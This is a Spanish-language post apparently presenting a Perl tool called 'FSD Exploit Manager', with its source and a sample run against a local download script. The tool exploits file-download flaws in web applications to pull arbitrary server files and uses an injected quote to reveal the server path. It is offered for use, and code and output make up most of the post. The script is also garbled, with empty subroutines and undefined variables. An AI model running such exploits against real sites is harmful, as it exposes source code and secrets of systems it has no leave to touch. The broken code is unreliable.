Ademas detecta automaticamente Full Path Discloure para conocer las rutas necesarias para descargar
archivos.
Código
#!usr/bin/perl #FSD Exploit Manager (C) Doddy Hackman 2011 use LWP::UserAgent; use File::Basename; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); $SIG{INT} = \&adios; head(); if($ARGV[0]) { ver($ARGV[0]); } else { sintax(); } copyright(); sub ver { my ($scheme, $auth, $path, $query, $frag) = uri_split($page); if ($path=~/\/(.*)$/) { my $me = $1; $code1 = toma($page.$me); if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) { $code2 = toma($page."'"); if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) { } installer(); while(1) { $SIG{INT} = \&adios; if (download($page.$url,"fsdlogs/".basename($url))) { } } } else { } } } sub adios { copyright(); } sub head { } sub copyright { } sub sintax { } sub toma { } sub download { if ($nave->mirror($_[0],$_[1])) { if (-f $_[1]) { return true; }}} sub installer { unless (-d "fsdlogs/") { }} # ¿ The End ?
Un ejemplo de uso
Código:
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=
-- == FSD Exploit Manager == --
[+] Target : http://localhost/down.php?down=
[+] Full Source Discloure Detect
[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php
url>c:/aca.txt
[+] File Downloaded
url>c:/aca.txt
[+] File Downloaded
[+] Good Bye
-- == (C) Doddy Hackman 2011 == --